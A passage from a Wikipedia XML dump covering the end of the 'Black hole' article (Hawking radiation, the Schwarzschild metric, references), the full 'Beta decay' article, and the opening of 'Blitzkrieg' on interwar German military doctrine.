According to theory, the event horizon of a black hole that is not spinning is spherical, and its singularity is (informally speaking) a single point. If the black hole carries angular momentum (inherited from a star that is spinning at the time of its collapse), it begins to drag space-time surrounding the event horizon in an effect known as [[frame-dragging]].  This spinning area surrounding the event horizon is called the [[ergosphere]] and has an [[ellipsoid]]al shape.  Since the ergosphere is located outside the event horizon, objects can exist within the ergosphere without  falling into the hole.  However, because space-time itself is moving in the ergosphere, it is impossible for objects to remain in a fixed position.  Objects grazing the ergosphere could in some circumstances be catapulted outwards at great speed, extracting energy (and angular momentum) from the hole, hence the name ''ergosphere'' (&quot;sphere of work&quot;) because it is capable of doing work.

The singularity inside a rotating black hole is a ring.  It is possible for an observer to avoid hitting this singularity, by for example, proceeding along the black hole spin axis.  However, it is still not possible to escape the black hole's event horizon, and the observer is trapped inside.

===Entropy and Hawking radiation===
In 1971, [[Stephen Hawking]] showed that the total area of the event horizons of any collection of classical black holes can never decrease.  This sounded remarkably similar to the Second Law of [[Thermodynamics]], with area playing the role of [[entropy]].  Classically, one could violate the second law of thermodynamics by material entering a black hole disappearing from our universe and resulting in a decrease of the total entropy of the universe.  Therefore, [[Jacob Bekenstein]] proposed that a black hole should have an entropy and that it should be proportional to its horizon area.  Since black holes do not classically emit radiation, the thermodynamic viewpoint was simply an analogy.  However, in 1974, Hawking applied [[quantum field theory]] to the curved spacetime around the event horizon and discovered that black holes can emit [[thermal radiation]], known as [[Hawking radiation]].  Using the [[Laws of black hole mechanics#The First Law|first law of black hole mechanics]], it follows that the entropy of a black hole is one quarter of the area of the horizon.  This is a universal result and can be extended to apply to cosmological horizons such as in [[de Sitter space]].  It was later suggested that black holes are maximum-entropy objects, meaning that the maximum entropy of a region of space is the entropy of the largest black hole that can fit into it. This led to the [[holographic principle]].

Hawking radiation originates just outside the event horizon and, so far as it is understood, does not carry information from its interior since it is thermal.  However, this means that black holes are not completely black: the effect implies that the mass of a black hole slowly evaporates with time.  Although these effects are negligible for astronomical black holes, they are significant for hypothetical [[micro black hole|very small black hole]]s where quantum-mechanical effects dominate.  Indeed, small black holes are predicted to undergo runaway evaporation and eventually vanish in a burst of radiation.  Hence, every black hole that cannot consume new mass has a finite life that is directly related to its mass.

===Black hole unitarity===
An open question in fundamental physics is the so-called information loss paradox, or [[black hole information paradox|black hole unitarity]] paradox. Classically, the laws of physics are the same run forward or in reverse. That is, if the position and velocity of every particle in the universe were measured, we could (disregarding [[chaos theory|chaos]]) work backwards to discover the history of the universe arbitrarily far in the past. In quantum mechanics, this corresponds to a vital property called [[unitarity]] which has to do with the conservation of probability.

Black holes, however, violate this rule. Because of the [[no hair theorem]], we can never determine what went into the black hole. Information is apparently destroyed, as there is no way to reconstruct what went into the black hole. This is an important unsolved conceptual problem in [[quantum gravity]].

On [[21 July]] [[2004]] Stephen Hawking presented a new argument that black holes do eventually emit information about what they swallow, reversing his previous position on information loss. He proposed that quantum perturbations of the event horizon could allow information to escape from a black hole, where it can influence subsequent [[Hawking radiation]] [http://www.nature.com/news/2004/040712/full/040712-12.html]. The theory has not yet been reviewed by the scientific community, and if it is accepted it is likely to resolve the black hole information paradox. In the meantime, the announcement has attracted a lot of attention in the [[media]].

==Mathematical theory==

Black holes are predictions of [[Albert Einstein]]'s theory of [[general relativity]]. In particular, they occur in the [[Schwarzschild metric]], one of the earliest and simplest solutions to Einstein's equations, found by [[Karl Schwarzschild]] in 1915.  This solution describes the [[curvature]] of [[spacetime]] in the vicinity of a static and [[sphere|spherically]] [[symmetry|symmetric]] object, where the [[Metric space|metric]] is,

:&lt;math&gt; ds^2 = - c^2 \left( 1 - {2Gm \over c^2 r} \right) dt^2 + \left( 1 - {2Gm \over c^2 r} \right)^{-1} dr^2 + r^2 d\Omega^2 &lt;/math&gt;,

where &lt;math&gt;d\Omega^2 = d\theta^2 + \sin^2\theta\; d\phi^2&lt;/math&gt; is a standard element of solid angle.

According to Schwarzschild's solution, a gravitating object will collapse into a black hole if its radius is smaller than a characteristic distance, known as the [[Schwarzschild radius]]. Below this radius, spacetime is so strongly curved that any light ray emitted in this region, regardless of the direction in which it is emitted, will travel towards the centre of the system. Because [[special relativity|relativity]] forbids anything from travelling [[faster-than-light|faster than light]], anything below the Schwarzschild radius &amp;ndash; including the constituent particles of the gravitating object &amp;ndash; will collapse into the centre. A [[gravitational singularity]], a region of theoretically infinite density, forms at this point. Because not even light can escape from within the Schwarzschild radius, a classical black hole would truly appear [[black]].

The Schwarzschild radius is given by 

:&lt;math&gt;r_{\rm S} = {2\,Gm \over c^2} &lt;/math&gt;

where ''G'' is the [[gravitational constant]], ''m'' is the [[mass]] of the object, and ''c'' is the [[speed of light]]. For an object with the mass of the [[Earth]], the Schwarzschild radius is a mere 9 [[1 E-3 m|millimeters]] &amp;mdash; about the size of a [[marble (toy)|marble]].

The mean density inside the Schwarzschild radius decreases as the mass of the black hole increases, so while an earth-mass black hole would have a density of 2&amp;nbsp;&amp;times;&amp;nbsp;10&lt;sup&gt;30&lt;/sup&gt;&amp;nbsp;kg/m&lt;sup&gt;3&lt;/sup&gt;, a supermassive black hole of 10&lt;sup&gt;9&lt;/sup&gt; [[solar mass]]es has a density of around 20&amp;nbsp;kg/m&lt;sup&gt;3&lt;/sup&gt;, less than water! The mean density is given by

:&lt;math&gt;\rho=\frac{3\,c^6}{32\pi m^2G^3}&lt;/math&gt;

Since the Earth has a mean radius of 6371 km, its volume would have to be reduced 4 &amp;times; 10&lt;sup&gt;26&lt;/sup&gt; times to collapse into a black hole. For an object with the mass of the [[Sun]], the Schwarzschild radius is approximately 3&amp;nbsp;km, much smaller than the Sun's current radius of about 700,000 km.  It is also significantly smaller than the radius to which the Sun will ultimately shrink after exhausting its nuclear fuel, which is several thousand kilometers. More massive stars can collapse into black holes at the end of their lifetimes.

More general black holes are also predicted by other solutions to Einstein's equations, such as the [[Kerr metric]] for a rotating black hole, which possesses a [[ring singularity]]. Then we have the [[Reissner-Nordström metric]] for charged black holes.  Last the [[Kerr-Newman metric]] is for the case of a charged and rotating black hole.

There is also the Black Hole Entropy formula:

:&lt;math&gt;S = \frac{Akc^3}{4\hbar G}&lt;/math&gt;

Where '''A''' is the area of the event horizon of the black hole, '''&lt;math&gt;\hbar&lt;/math&gt;''' is [[Dirac's constant]] (the &quot;reduced Planck constant&quot;), '''k''' is the [[Boltzmann constant]], '''G''' is the [[gravitational constant]], '''c''' is the [[speed of light]] and '''S''' is the entropy.

A convenient length scale to measure black hole processes is the &quot;gravitational radius&quot;, which is equal to
:&lt;math&gt;r_{\rm G} = {Gm \over c^2} &lt;/math&gt;
When expressed in terms of this length scale, many phenomena appear at integer radii.
For example, the radius of a Schwarzschild black hole is two gravitational radii and the radius of a maximally rotating Kerr black hole is one gravitational radius.  The location of the light circularization radius around a Schwarzschild black hole (where light may orbit the hole in an unstable circular orbit) is &lt;math&gt;3r_{\rm G}&lt;/math&gt;.  The location of the marginally stable orbit, thought to be close to the inner edge of an accretion disk, is at &lt;math&gt;6r_{\rm G}&lt;/math&gt; for a Schwarzschild black hole.

==Alternative models==
Several alternate models, which behave like a black hole but avoid the singularity, are considered. But most researchers judge these concepts artificial, as they are more complicated but don't give near term observable differences from black holes (see [[Occam's razor]]). The most prominent alternative theory is the [[Gravastar]].

In March 2005, physicist [[George Chapline]] at the [[Lawrence Livermore National Laboratory]] in [[California]] proposed that black holes do not exist, and that objects currently thought to be black holes are actually [[dark-energy star]]s. He draws this conclusion from some quantum mechanical analyses. Although his proposal currently has little support in the physics community, it was widely reported by the media. [http://www.nature.com/news/2005/050328/full/050328-8.html (report in Nature News)] [http://xxx.arxiv.org/abs/astro-ph/0503200 (original article)].

Among the alternate models are [http://www.journals.uchicago.edu/ApJ/journal/issues/ApJL/v494n2/975794/975794.web.pdf clusters of elementary particles] (e.g., [http://arxiv.org/abs/astro-ph/0004064 boson stars]),[http://arxiv.org/abs/astro-ph/0103466 fermion balls], [http://arxiv.org/abs/astro-ph/9805273 self-gravitating, degenerate heavy neutrinos]] and even,
[http://www.journals.uchicago.edu/ApJ/journal/issues/ApJL/v494n2/975794/975794.web.pdf clusters of very low mass &lt;~0.04 Msolar) BHs]

==See also==
* [[Theory of relativity]]
* [[Schwarzschild metric]]
* [[Schwarzschild radius]]
* [[Rotating black hole]]s
* [[Compact star]]s
* [[Timeline of black hole physics]]
* [[White hole]]
* [[Neutron star]]
* [[Supermassive black hole]]
* [[Wormhole]]
* [[Schwarzschild wormholes]]
* [[IMBHs]]
* [[String theory]]
* [[Primordial black hole]]s
* [[Micro black hole]]s
* [[Dark-energy star]]s
* [[Laws of black hole mechanics]]

==External links==
* [http://arxiv.org/find/astro-ph/1/ti:+AND+black+hole*/0/1/0/all/0/1 more than 12,000 publicly available research articles on black holes]
* [http://antwrp.gsfc.nasa.gov/htmltest/gifcity/bh_pub_faq.html FAQ on black holes]
* [http://casa.colorado.edu/~ajsh/schwp.html Schwarzschild Geometry] on [http://casa.colorado.edu/~ajsh/ Andrew Hamilton&amp;rsquo;s website]
* [http://www.armageddononline.org/blackhole.php An extensive look at the formation &amp; life of a Black Hole]
* Tufts University: [http://hepguru.com/blackholes/ Student Project (Great Kid's Section)]
* Hong Kong University:[http://www.lcsd.gov.hk/CE/Museum/Space/EducationResource/Universe/framed_e/index.html Some information about Space]
* [http://www.gothosenterprises.com/black_holes/ Jillian&amp;#8217;s Guide to Black Holes]
* [http://csep10.phys.utk.edu/astr162/lect/active/smblack.html Supermassive Black Holes]
* [http://www.universetoday.com/am/publish/blackholes.html Universe Today] Black hole news stories
* [http://timetravelportal.com/viewtopic.php?t=554 Black Holes, Singularities &amp; Wormholes]
* [http://www.mpe.mpg.de/ir/GC/index.php Movie of Black Hole Candidate from Max Planck Institute]
* [http://www.spacetimetravel.org/expeditionsl/expeditionsl.html Step by Step into a Black Hole] Computer simulated images show views of the night sky as seen from positions close to the event horizon of a black hole.
* [http://www.physorg.com/news9693.html Scientists Find Black Hole's 'Point of No Return' ]
* [http://www.black-holes.org/gwa2-3.html Caltech Tutorial on Relativity] &amp;mdash; a simple, accessible discussion of black holes in the context of warped spacetime, and gravitational waves

==References==
===Popular reading===
*{{cite book | author=Hawking, Stephen | title=A Brief History of Time | publisher=Bantam Books, Inc | year=1998 | id=ISBN 0553380168}}
*{{cite book | author=Pickover, Clifford | title=Black Holes: A Traveler's Guide | publisher=Wiley, John &amp; Sons, Inc | year=1998 | id=ISBN 0471197041}}
*{{cite book | author=Ferguson, Kitty | title=Black Holes in Space-Time | publisher=Watts Franklin | year=1991 | id=ISBN 0531125246}}
*{{cite book | author=Thorne, Kip S. | title=Black Holes and Time Warps | publisher=Norton, W. W. &amp; Company, Inc | year=1994 | id=ISBN 0393312763}}
{{note|smolin1}} {{cite book | author=Lee Smolin | title=Three Roads To Quantum Gravity | publisher=Basic Books | year=2001 | id=ISBN 0-465-07835-4}}

===University textbooks and monographs===
*{{cite book | author=Wald, Robert M. | title=Space, Time, and Gravity: The Theory of the Big Bang and Black Holes | publisher= University of Chicago Press| year=1992 | id=ISBN 0226870294}}
*{{cite book | author=Chandrasekhar, Subrahmanyan | title=Mathematical Theory of Black Holes | publisher=Oxford University Press | year=1999 | id=ISBN 0198503709}}
*{{cite book | author=Thorne, Kip S.; Misner, Charles; Wheeler, John | title=Gravitation | publisher=W. H. Freeman Company | year=1980 | id=ISBN 0716703440}}
* Carter, B. (1973). Black hole equilibrium states, in ''Black Holes'', eds. DeWitt B. S. and DeWitt C.
* Frolov, V. P. and Novikov, I. D. (1998), ''Black hole physics''.
* Hawking, S. W. and Ellis, G. F. R. (1973), ''The large-scale structure of space-time'', Cambridge University Press.

===Research papers===
* Hawking, S. W. (July 2005), Information Loss in Black Holes, [http://arxiv.org/abs/hep-th/0507171 arxiv:hep-th/0507171]. Stephen Hawking's purported solution to the black hole [[unitarity]] paradox, first reported at a conference in July 2004.
* Ghez, A.M. ''et al.'' Stellar orbits around the Galactic Center black hole, ''Astrophysics J.'' '''620''' (2005). [http://www.arxiv.org/abs/astro-ph/0306130 arXiv:astro-ph/0306130] More accurate mass and position for the black hole at the centre of the Milky Way.
* Hughes, S. A. Trust but verify: the case for astrophysical black holes, [http://www.arxiv.org/hep-ph/0511217 arXiv:hep-ph/0511217]. Lecture notes from 2005 [[SLAC]] Summer Institute.

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[[Category:Dark matter]]
[[Category:Relativity]]

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  <page>
    <title>Beta decay</title>
    <id>4651</id>
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      <text xml:space="preserve">{{Nuclear_processes}}

In [[nuclear physics]], '''beta decay''' is a type of [[radioactive]] decay in which a [[beta particle]] (an [[electron]] or a [[positron]]) is emitted. In the case of electron emission, it is referred to as &quot;beta minus&quot; (&amp;beta;&lt;sup&gt;&amp;minus;&lt;/sup&gt;), while in the case of a [[positron emission]] as &quot;beta plus&quot; (&amp;beta;&lt;sup&gt;+&lt;/sup&gt;).

In &amp;beta;&lt;sup&gt;&amp;minus;&lt;/sup&gt; decay, the [[weak interaction]] converts a [[neutron]] into a [[proton]] while emitting an electron and an [[antineutrino|anti-neutrino]]:
: &lt;math&gt;n^0 \rightarrow p^+ + e^- + \bar{\nu}_e&lt;/math&gt;.

At the [[fundamental particle|fundamental]] level (as depicted in the [[Feynman diagram]] below), this is due to the conversion of a [[down quark]] to an [[up quark]] by emission of a [[W boson]].

In &amp;beta;&lt;sup&gt;+&lt;/sup&gt; decay, a proton is converted into a neutron, a [[positron]] and a [[neutrino]]:
: &lt;math&gt;\mathrm{energy} + p^+ \rightarrow n^0 + e^+ + {\nu}_e&lt;/math&gt;.

So, unlike '''beta minus''' decay, '''beta plus''' decay cannot occur in isolation, because the mass of the neutron alone is greater than the mass of the proton. '''Beta plus''' decay can only happen inside nuclei when the absolute value of the binding energy of the daughter nucleus is higher than that of the mother nucleus. The difference between these energies goes into the reaction of converting a proton into a neutron, a positron and a neutrino and into the kinetic energy of these particles.

In all the cases where &amp;beta;&lt;sup&gt;+&lt;/sup&gt; decay is allowed energetically (and the proton is a part of a nucleus with electron shells), it is accompanied by the [[electron capture]] process, when an atomic electron is captured by a nucleus with emission of neutrino:
: &lt;math&gt;\mathrm{energy} + p^+ + e^- \rightarrow n^0 + {\nu}_e&lt;/math&gt;.
But if the energy difference between initial and final states is low, the [[electron capture]] can occur without being accompanied by positron emission.

If the proton and neutron are part of an [[atomic nucleus]], these decay processes [[transmutation|transmute]] one chemical element into another. For example:
:&lt;math&gt;\mathrm{{}^1{}^{37}_{55}Cs}\rightarrow\mathrm{{}^1{}^{37}_{56}Ba}+ e^- + \bar{\nu}_e&lt;/math&gt; (beta minus),

:&lt;math&gt;\mathrm{~^{22}_{11}Na}\rightarrow\mathrm{~^{22}_{10}Ne} + e^+ + {\nu}_e&lt;/math&gt; (beta plus),

:&lt;math&gt;\mathrm{~^{22}_{11}Na} + e^- \rightarrow\mathrm{~^{22}_{10}Ne} + {\nu}_e&lt;/math&gt; (electron capture).

Historically, the study of beta decay provided the first physical evidence of the [[neutrino]]. In [[1911]] [[Lise Meitner]] and [[Otto Hahn]] performed an experiment that showed that the energies of electrons emitted by beta decay had a continuous rather than discrete spectrum.  This was in apparent contradiction to the [[law of conservation of energy]], as it appeared that energy was lost in the beta decay process.  A second problem was that the spin of the Nitrogen-14 atom was 1, in contradiction to the [[Ernest Rutherford, 1st Baron Rutherford of Nelson|Rutherford]] prediction of &amp;frac12;.  In a famous letter written in [[1930]] [[Wolfgang Pauli]] suggested that in addition to electrons and protons atoms also contained an extremely light neutral particle which he called the neutron.  He suggested that this &quot;neutron&quot; was also emitted during beta decay and had simply not yet been observed.  In [[1931]] [[Enrico Fermi]] renamed Pauli's &quot;neutron&quot; the [[neutrino]], and in [[1934]] Fermi published a very successful model of beta decay in which neutrinos were produced.

Beta decay does not change the number of [[nucleon]]s ''A'' in the nucleus but changes only its [[charge]] ''Z''. Thus the set of all nuclides with the same ''A'' can be introduced; these ''[[isobar]]ic'' nuclides may turn into each other via beta decay. Among them, several nuclides (at least one) are beta stable, because they present local minima of the [[mass excess]]: if such a nucleus has (''A'', ''Z'') numbers, the neighbour nuclei (''A'', ''Z''&amp;minus;1) and (''A'', ''Z''+1) have higher mass excess and can beta decay into (''A'', ''Z''), but not vice versa. It should be noted, that a beta-stable nucleus may undergo other kinds of radioactive decay ([[alpha decay]], for example). In nature, most isotopes are beta stable, but a few exceptions exist with [[half life|half-lives]] so long that they have not had enough time to decay since the moment of their [[nucleosynthesis]]. One example is [[potassium|&lt;sup&gt;40&lt;/sup&gt;K]], which undergoes all three types of beta decay (beta minus, beta plus and electron capture) with half life of 1.277&amp;times;10&lt;sup&gt;9&lt;/sup&gt; years.

Some nuclei can undergo [[double beta decay]] (&amp;beta;&amp;beta; decay) where the charge of the nucleus changes by two units. In most practically interesting cases, single beta decay is energetically forbidden for such nuclei, because when &amp;beta; and &amp;beta;&amp;beta; decays are both allowed, the probability of &amp;beta; decay is (usually) much higher, preventing investigations of very rare &amp;beta;&amp;beta; decays. Thus, &amp;beta;&amp;beta; decay is usually studied only for beta stable nuclei. Like single beta decay, double beta decay does not change ''A''; thus, at least one of the nuclides with some given ''A'' has to be stable with regard to both single and double beta decay.

Beta decay can be considered as a perturbation as described in quantum mechanics, and thus follows [[Fermi's Golden Rule]].

[[Image:Beta minus Feynman diagram.png|thumb|300px|The [[Feynman diagram]] of beta minus decay]]

==See also==
*[[beta particle]]
*[[double beta decay]]
*[[neutrino]]
*[[positron emission]]
*[[particle radiation]]
*[[radioactive isotope]]

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  <page>
    <title>Blitzkrieg</title>
    <id>4652</id>
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      <text xml:space="preserve">[[Image:PanzerInfantryAdvance.jpg|thumb|250px|Blitzkrieg relies on close co-operation between [[infantry]] and [[panzer]]s (tanks). This photo was taken during operations along the Terek River in 1942.]]

: ''This article is about the military term. For the [[professional wrestling|professional wrestlers]] of the same name, see [[Jay Ross]] and [[Jack Evans]].''

'''''Blitzkrieg''''' ([[German language|German]], literally '''lightning war''') is a popular name for an offensive [[Operational warfare|operational-level]] [[military doctrine]] which employed mobile forces attacking with speed and surprise to prevent an enemy from implementing a coherent [[defense (military)|defense]]. The doctrines resulting in the blitzkrieg effect were developed in the years after [[World War I]] as a method to help prevent [[trench warfare]] and [[linear warfare]].

Blitzkrieg was first used on any serious scale by the [[Germany|German]] [[Wehrmacht]] in [[World War II]]. While operations in Poland were rather conventional (see detailed discussion below), later operations early in the war — particularly the invasions of [[Battle of France|France]], [[The Netherlands]] and initial operations in the [[Operation Barbarossa|Soviet Union]] — were effective owing to surprise penetrations, general enemy unpreparedness and an inability to react swiftly enough to the superior German military doctrines. The Germans faced numerically superior forces and technically superior vehicles in the invasion of France, proving the early effectiveness of their tactics and strategies. From this peak, the Wehrmacht's cohesion deteriorated. [[Heinz Guderian]], an early implementor of blitzkrieg, was relieved of command on [[25 December]] [[1941]], for ordering a withdrawal in contradiction of Hitler's &quot;standfast&quot; order. This showed a fundamental doctrinal difference between Hitler's view of military strategy and the Wehrmacht's proven system. This event undermined confidence and military effectiveness from that point onwards. After this point, German offensive operations were severely limited; the last major blitzkrieg style operation in the East was at Kursk in July 1943, and the last in the west was the Ardennes Offensive in December 1944.  By this period, the Allies had developed effective defensive tactics to deal with these operations (see below).

Methods of blitzkrieg operations centered on using [[Maneuver warfare|manoeuvre]] rather than [[Attrition warfare|attrition]] to defeat an opponent. The blitzkrieg thus first and foremost required a combined arms concentration of mobile assets at a focal point, armour closely supported by mobile infantry, artillery and close air support assets. These tactics required the development of specialised support vehicles, new methods of communication, new [[Military tactics|tactics]], and an effective decentralised [[command structure]]. Broadly speaking, blitzkrieg operations required the development of [[mechanised infantry]], [[self-propelled artillery]] and engineering assets that could maintain the rate of advance of the tanks. German forces avoided direct combat in favour of interrupting an enemy's [[communication|communications]], [[decision-making]], [[logistics]] and of reducing [[morale]]. In combat, blitzkrieg left little choice for the slower defending forces but to clump into defensive pockets that were [[encirclement|encircled]] and then destroyed by following German [[infantry]].

==Etymology and modern meaning==
Though &quot;blitzkrieg&quot; is a German word (literally &quot;lightning war&quot;, meaning &quot;a war as fast as a lightning&quot;), the word did not originate from within the German military. It was first used by a [[journalist]] in the American [[newsmagazine]] [[Time (magazine)|''TIME'']] describing the 1939 [[Polish September Campaign|German invasion of Poland]]. Published on [[September 25]] 1939, well into the campaign, the journalist's account reads:

:''The battlefront disappeared, and with it the illusion that there had ever been a battlefront. For this was no war of occupation, but a war of quick penetration and obliteration—Blitzkrieg, lightning war. Swift columns of tanks and armored trucks had plunged through Poland while bombs raining from the sky heralded their coming. They had sawed off communications, destroyed stores, scattered civilians, spread terror. Working sometimes 30 miles (50 km) ahead of infantry and artillery, they had broken down the Polish defenses before they had time to organize. Then, while the infantry mopped up, they had moved on, to strike again far behind what had been called the front.{{ref|TIMEety}}''

[[Military history|Military historians]] have defined blitzkrieg as the employment of the concepts of manoeuvre and combined arms warfare developed in Germany during both the [[interwar period]] and the Second World War. Strategically, the ideal was to swiftly effect an adversary's collapse through a short campaign fought by a small, professional army. Operationally, its goal was to use indirect means, such as, mobility and shock, to render an adversary's plans irrelevant or impractical. To do this, self-propelled formations of [[tanks]]; motorised infantry, engineers, artillery; and [[Ground attack aircraft|ground-attack aircraft]] operated as a [[Combined arms|combined-arms team]]. Historians have termed it a period form of the longstanding German principle of ''Bewegungskrieg'', or [[Maneuver warfare|movement war]].

&quot;Blitzkrieg&quot; has since expanded into multiple meanings in more popular usage. From its original military definition, &quot;blitzkrieg&quot; may be applied to any [[military operation]] emphasising the surprise, speed, or concentration stressed in accounts of the [[Polish September Campaign]]. During the war, the [[Luftwaffe]] [[terror bombing]]s of [[London]]  came to be known as [[The Blitz]]. Similarly, ''blitz'' has come to describe the &quot;[[Blitz (American football)|blitz]]&quot; (rush) tactic of [[American football]], and the [[Blitz chess|blitz form of chess]] in which players are allotted very little time. Blitz or blitzkrieg is used in many other non-military contexts.

==Interwar period==
===Reichswehr===
Blitzkrieg's immediate development began with Germany's defeat in the First World War. Shortly after the war, the new [[Reichswehr]] created committees of veteran [[German General Staff|officers]] to evaluate 57 issues of the war.{{ref|1}} The reports of these committees formed doctrinal and training publications which were the standards in the Second World War. The Reichswehr was influenced by its analysis of pre-war German military thought, in particular its [[infiltration tactics]] of the war, and the manoeuvre warfare which dominated the [[Eastern Front (WWI)|Eastern Front]].

German military history had been influenced heavilly by [[Carl von Clausewitz]], [[Alfred von Schlieffen]] and [[Helmuth Graf von Moltke|von Moltke the Elder]], who were proponents of manoeuvre, mass, and envelopment. Their concepts were employed in the successful [[Franco-Prussian War]] and attempted &quot;knock-out blow&quot; of the [[Schlieffen Plan]]. Following the war, these concepts were modified by the Reichswehr. Its Chief of Staff, [[Hans von Seeckt]], moved doctrine away from what he argued was an excessive focus on [[encirclement]] towards one based on speed. Speed gives surprise, surprise allows exploitation if decisions can be reached quickly and mobility gives flexibility and speed. Von Seeckt advocated effecting breakthroughs against the enemy's centre when it was more profitable than encirclement or where encirclement was not practical. Under his command a modern update of the doctrinal system called &quot;Bewegungskrieg&quot; and its associated tactical system called &quot;[[Auftragstaktik]]&quot; was developed which resulted in the popularly known blitzkrieg effect. He additionally rejected the notion of mass which von Schlieffen and von Moltke had advocated. While reserves had comprised up to four-tenths of German forces in pre-war campaigns, von Seeckt sought the creation of a small, professional (volunteer) military backed by a defence-oriented [[militia]]. In modern warfare, he argued, such a force was more capable of offensive action, faster to ready, and less expensive to equip with more modern weapons. The Reichswehr was forced to adopt a small and professional army quite aside from any German plans, for the [[Treaty of Versailles]] limited it to 100,000 men.

Bewegungskrieg required a new command hierarchy that allowed military decisions to be made closer to the unit level. This allowed units  to react and make effective decisions faster, which is a critical advantage and a major reason for the success of Blitzkrieg.

German leadership had also been criticised for failing to understand the technical advances of the First World War, having given [[History of the tank|tank production]] the lowest priority and having conducted no studies of the [[machine gun]] prior to that war.{{ref|2}} In response, German officers attended [[technical school]]s during this period of rebuilding after the war.

[[Infiltration tactics]] invented by the German Army during the First World War became the basis for later tactics. German infantry had advanced in small, decentralised groups which bypassed resistance in favour of advancing at weak points and attacking rear-area communications. This was aided by co-ordinated artillery and air bombardments, and followed by larger infantry forces with heavy guns, which destroyed centres of resistance. These concepts formed the basis of the [[Wehrmacht]]'s tactics during the Second World War.

On the war's Eastern Front, combat did not bog down into [[trench warfare]]. German and Russian armies fought a war of manoeuvre over thousands of miles, giving the German leadership unique experience which the trench-bound Western Allies did not have.{{ref|3}} Studies of operations in the East led to the conclusion that small and coordinated forces possessed more combat worth than large, uncoordinated forces.

===Foreign influence===
During this period, all the war's major combatants developed mechanised force theories. Theories of the Western Allies differed substantially from the Reichswehr's. British, French, and American doctrines broadly favoured a more set-piece battle, less combined arms focus, and less focus on concentration. Early Reichswehr periodicals contained many translated works, though they were often not adopted. Technical advances in foreign countries were, however, observed and used in-part by the Weapons Office. Foreign doctrines are widely considered to have had little serious influence.{{ref|14}}

Col. [[Charles de Gaulle]], in [[France]], was a known advocate of concentration of armour and aeroplanes — views that little endeared him to the French high command, but are claimed by some to have influenced [[Heinz Guderian]]. [http://www.charles-de-gaulle.org/article_print.php?id_article=20]

British theorists [[J.F.C. Fuller]] and [[B. H. Liddell Hart]] have often been associated with blitzkrieg's development, though this is a matter of controversy. It is argued that [[Guderian]], a critical figure in blitzkrieg's conception, drew some of his inspiration from Hart. This was based on a paragraph in the English edition of Guderian's autobiography in which he credits Hart. In opposition, it is argued that Hart, as editor of the autobiography's English edition, wrote that paragraph himself or, more broadly, that his influence on Guderian was not as significant as held. Fuller's influence is less clear. During the war, he developed plans for massive, independent tank operations and was subsequently studied by the German leadership. It is variously argued that Fuller's wartime plans and post-war writings were an inspiration, or that his readership was low and German experiences during the war received more attention.

What is clear is the practical implementation of this doctrine in a wide and successful range of scenarios by Guderian and other Germans during the war. From early combined-arms river crossings and penetration exploitations during the advance in France in 1940 to massive sweeping advances in Russia in 1942, Guderian showed a mastery and innovation that inspired many others. This leadership was supported and fostered by the Reichswehr General Staff system, which worked the Army to greater and greater levels of capability through massive and systematic Movement warfare war games in the 1930s. 

The Reichswehr and Red Army collaborated in [[wargame]]s and tests in [[Kazan]] and [[Lipetsk]] beginning in 1926. Set within the Soviet Union, these two centres were used to field test aircraft and armoured vehicles up to the battalion level, as well as housing aerial and armoured warfare schools through which officers were rotated. This was done in the Soviet Union, in secret, to evade the Treaty of Versailles's occupational agent, the [[Military Inter-Allied Commission of Control|Inter-Allied Commission]].{{ref|4}}

===Guderian into the Wehrmacht===
[[Image:guderian 1.jpg|right|thumb|General [[Heinz Guderian]], a theorist key to Germany's development of blitzkrieg.]]
Following Germany's military reforms of the 1920s, [[Heinz Guderian]] emerged as a strong proponent of mechanised forces. Within the Inspectorate of Transport Troops, Guderian and colleagues performed theoretical and field exercise work. There was opposition from many officers who gave primacy to the infantry or simply doubted the usefulness of the tank. Among them was Chief of the General Staff [[Ludwig Beck]] (1935–38), who was sceptical that armoured forces could be decisive. Nonetheless, the panzer divisions were established during his tenure.

Guderian argued that the tank was the decisive weapon of war. &quot;If the tanks succeed, then victory follows&quot;, he wrote. In an article addressed to critics of tank warfare, he wrote &quot;until our critics can produce some new and better method of making a successful land attack other than self-massacre, we shall continue to maintain our beliefs that tanks—properly employed, needless to say—are today the best means available for a land attack.&quot; Addressing the faster rate at which defenders could reinforce an area than attackers could penetrate it during the First World War, Guderian wrote that &quot;since reserve forces will now be motorised, the building up of new defensive fronts is easier than it used to be; the chances of an offensive based on the timetable of artillery and infantry co-operation are, as a result, even slighter today than they were in the last war.&quot; He continued, &quot;We believe that by attacking with tanks we can achieve a higher rate of movement than has been hitherto obtainable, and—what is perhaps even more important—that we can keep moving once a breakthrough has been made.&quot;{{ref|5}} Guderian additionally required that tactical [[radio]]s be widely used to facilitate co-ordination and command.

===Panzertruppe and Luftwaffe===
[[Image:EarlyPzDivTOE.png|thumb|right|250px|Organisation of a 1941 German [[Panzertruppe|panzer division]].]]

Blitzkrieg would not have been possible without modifying Germany's standing interwar military, which under the [[Treaty of Versailles]] was limited to 100,000 men, its air force disbanded, and tank development forbidden. After becoming head of state in 1933, [[Adolf Hitler]] ignored these provisions. A command for armoured troops was created within the German [[Heer]]—the ''[[Panzertruppe]]'', as it came to be known later. The [[Luftwaffe]], or air force, was re-established, and development begun on ground-attack aircraft and doctrines. Hitler was a strong supporter of this new strategy. He observed panzer field exercises and read Guderian's book ''Achtung! Panzer!''{{ref|6}} Upon seeing exercises at [[Kummersdorf]], he remarked &quot;That is what I want—and that is what I will have.&quot;{{ref|7}}

===Spanish Civil War===
[[Image:Pzkpfwiausfa.jpg|thumb|left|[[Panzer I|PzKpfw I]] saw extensive use as training and scout vehicles in most blitzkrieg operations]]
German volunteers tested aspects of blitzkrieg tactics during the [[Spanish Civil War]] of 1936. Panzer commitments consisted of Panzer Battalion 88, a force built around three companies of [[Panzer I|PzKpfw I]]'s that functioned as a training cadre for Nationalists. The Luftwaffe deployed squadrons of [[Fighter aircraft|fighters]], [[Dive bomber|dive-bombers]], and [[Transport aircraft|transports]] as the [[Condor Legion]].{{ref|8}} Guderian called the panzer employment &quot;on too small a scale to allow accurate assessments to be made.&quot;{{ref|9}} More was gained by the Luftwaffe, which developed both tactics and aircraft in combat; it was here that the [[Junkers Ju 87|Stuka]] first saw combat. Eighteen thousand Luftwaffe troops also gained combat experience.

==Methods of operations==
===Schwerpunkt===
Blitzkrieg sought decisive actions at all times. To this end, the theory of a ''schwerpunkt'' (focal point) developed; it was the point of maximum effort. Panzer and Luftwaffe forces were used only at this point of maximum effort whenever possible. By local success at the ''schwerpunkt'', a small force achieved a breakthrough and gained advantages by fighting in the enemy's rear. It is summarised by Guderian as &quot;Nicht kleckern, klotzen!&quot; (Don't tickle, smash!)

